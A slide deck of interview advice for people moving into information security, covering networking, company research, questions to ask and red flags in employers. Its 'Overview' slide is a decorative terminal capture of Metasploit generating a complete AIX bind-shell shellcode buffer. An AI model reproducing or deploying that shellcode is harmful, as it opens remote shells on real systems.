

# **WINNING**

# **at Interviews**

Anthony Fielding, December 19<sup>th</sup> 2017

# Soft Things Alert!

There is nothing technical in here, sorry

# {{ Overview }}

```
root@bt:~# msfpayload -l | grep aix
aix/ppc/shell_bind_tcp      Listen for a connection and spawn a command shell
aix/ppc/shell_find_port    Spawn a shell on an established connection
aix/ppc/shell_interact     Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp  Connect back to attacker and spawn a command shell
root@bt:~# msfpayload aix/ppc/shell_bind_tcp LPORT=4444 C
/*
* aix/ppc/shell_bind_tcp - 264 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, AIX=6.1.4,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x7f\xff\xfa\x79\x40\x82\xff\xfd\x7f\xc8\x02\xa6\x3b\xde\x01"
"\xff\x3b\xde\xfe\x1d\x7f\xc9\x03\xa6\x4e\x80\x04\x20\x4c\xc6"
"\x33\x42\x44\xff\xff\x02\x3b\xde\xff\xf8\x3b\xa0\x07\xff\x7c"
"\xa5\x2a\x78\x38\x9d\xf8\x02\x38\x7d\xf8\x03\x38\x5d\xf8\xf4"
"\x7f\xc9\x03\xa6\x4e\x80\x04\x21\x7c\x7c\x1b\x78\x38\xbd\xf8"
"\x11\x3f\x60\xff\x02\x63\x7b\x11\x5c\x97\xe1\xff\xfc\x97\x61"
"\xff\xfc\x7c\x24\x0b\x78\x38\x5d\xf8\xf3\x7f\xc9\x03\xa6\x4e"
"\x80\x04\x21\x7c\x84\x22\x78\x7f\x83\xe3\x78\x38\x5d\xf8\xf1"
"\x7f\xc9\x03\xa6\x4e\x80\x04\x21\x7c\xa5\x2a\x78\x7c\x84\x22"
"\x78\x7f\x83\xe3\x78\x38\x5d\xf8\xee\x7f\xc9\x03\xa6\x4e\x80"
"\x04\x21\x7c\x7a\x1b\x78\x3b\x3d\xf8\x03\x7f\x23\xcb\x78\x38"
"\x5d\xf9\x17\x7f\xc9\x03\xa6\x4e\x80\x04\x21\x7f\x25\xcb\x78"
"\x7c\x84\x22\x78\x7f\x43\x3d\x78\x38\x5d\xfa\x93\x7f\xc9\x03"
"\xa6\x4e\x80\x04\x21\x37\x39\xff\xff\x40\x80\xff\x4d\x7c\xa5"
"\x2a\x79\x40\x82\xff\xfd\x7f\x08\x02\xa6\x3b\x18\x01\xff\x38"
"\x78\xfe\x29\x98\xb8\xfe\x31\x94\xa1\xff\xfc\x94\x61\xff\xfc"
"\x7c\x24\x0b\x78\x38\x5d\xf8\x08\x7f\xc9\x03\xa6\x4e\x80\x04"
"\x21\x2f\x62\x69\x6e\x2f\x63\x73\x68";
root@bt:~#
```

1. My journey so far
2. Getting an interview
3. Mission prep
4. During the engagement
5. Afterwards



# // about.me

- Anthony Fielding AKA **antfie**
- <https://antfie.com> | @antfie
- <https://linkedin.com/in/antfie>
- Changed jobs a lot
- Contract senior agile software dev -> InfoSec, woop

# First step: **Getting an Interview**

- A big subject on it's own
- It's not easy but be persistent
- **Network** (attend events, get out and about)
- Help others and share your knowledge
- Build your brand
- Certifications also help

# First step: Getting an Interview

- It's **who you know** that helps you get a interview
- and the '**what you know**' that helps with securing the job

# ⌋ RINSE AND REPEAT ⌋

- What do you do?
- What makes you stand out?
- Consistency
- Professional, soft stuff
- Aligned to company values



- Blog / Social
- **Networking**
- CV / LinkedIn
- Cover letter
- Emails



Interview



Gain experience, learn, improve

# ⌋ RINSE AND REPEAT ⌋

- What do you do?
- What makes you stand out

- Blog / Social

- Networking

- LinkedIn

- Cover letter

- Emails

# Marketing



Gain experience, learn, improve



# Mission Preparation

# Who's Interview?

- Interviews work **two ways**
- You're interviewing the company as well
- How they conduct the interview reflects how they operate as a business

# Who's Interview?

- Would you be happy working with the people interviewing you?
- You can get a good feel for the vibe and culture, stress levels
- Is this the right company for you?

# # What are they looking for?

- You need **both** of the following to succeed:
  - **Soft skills**
    - What do you do when not in front of a computer – hobbies, cool stuff, relaxation
    - Can you communicate effectively to non-tech as well as peers
    - Team-working
    - Professional
    - Team and culture fit
  - **Technical aptitude** – you got this



Do you have any **questions**?

- They expect you to **ask questions**
- Make sure you have questions prepared e.g.
  - What does the team do outside the office?
  - How do others progress in their career?
  - What training is available?
  - How will I be supported?
  - How did this role come about?



# What do you Want?

- **Stability**
- **Competitive salary and benefits**
- **Training**
- **Technical challenges**
- **Fun**
- **Great team**
- **Synergy**
- **Progression**
- **Support**
- **Approachable management**
- **Fulfilment**
- **Respect**
- **Meaningful projects**
- **BINGO**

- Know the significant **history** and **hierarchy** of the company
- What are their **products and services**?
- Where are their offices?
- What is their **motto** and **values**?
- What do they do differently?
- You can find all this on the **company website**.

# Do the Research

# Tips

- Take any past bad experiences you've had, find the positive and reflect upon learnings. Show improvement and willingness to learn.
- Let them lead the process so just relax and breathe.
- Don't bring up pay, again let them bring this up but be prepared to discuss it. Aim high but not too high. Be realistic but don't undervalue yourself. There is an art to this.



# Tips

- Take the water/tea/coffee if offered. You can sip the beverage to give you a moment to compose your answer if needed.
- Don't bitch about your current job or colleagues, again find the positives. You can discuss the negative aspects in a positive spin.
- Just conduct yourself as you would in front of any client.

# Technical Interview Tips

- If you don't know the answer to a question simply say so
- Be honest and don't blag or lie
- Make this an opportunity to learn something if you don't know

# Technical Interview Tips

- Get them involved in your thinking process if possible, let them help you work through the problems
- This shows you're a team player and not afraid to ask for help
- Don't be afraid to get things wrong. Embrace failure -> positive

# Preparing for your Interview

- Get a good night's sleep the evening before
  - Have breakfast
  - Wear the suit, look your best
  - Be positive and remember to smile
  - Relax, they can't eat you
- 
- Arrive a little early but not too early
    - Running late? Call them and let them know ASAP!

# && afterwards

- Be sure to thank them
  - Ask for feedback
  - Give feedback (the day after)
  - Ask any pressing questions on your mind
- 
- If this is the one, be sure to tell them how important it is to you (the day after)

# There's always **another** opportunity

- All interviews are experiences
- It could be that the fit just wasn't right and it's not you, it's them
- Learn and improve for next time
- Move on, don't feel miserable. Don't sweat it

# BONOUS: Shit Company Radar

- ☐ They expect you to work for free to prove yourself
- ☐ Prolonged and drawn out interview process
- ☐ Sloppiness of the interviewers – lateness, unwelcome vibe
- ☐ Mucky desks / cramped office
- ☐ Nobody smiling
- ☐ Tense feeling in the office
- ☐ They don't ask questions about you or your hobbies during the interview – they don't care. Bums on seats.





Thanks. Questions?

Good  
luck!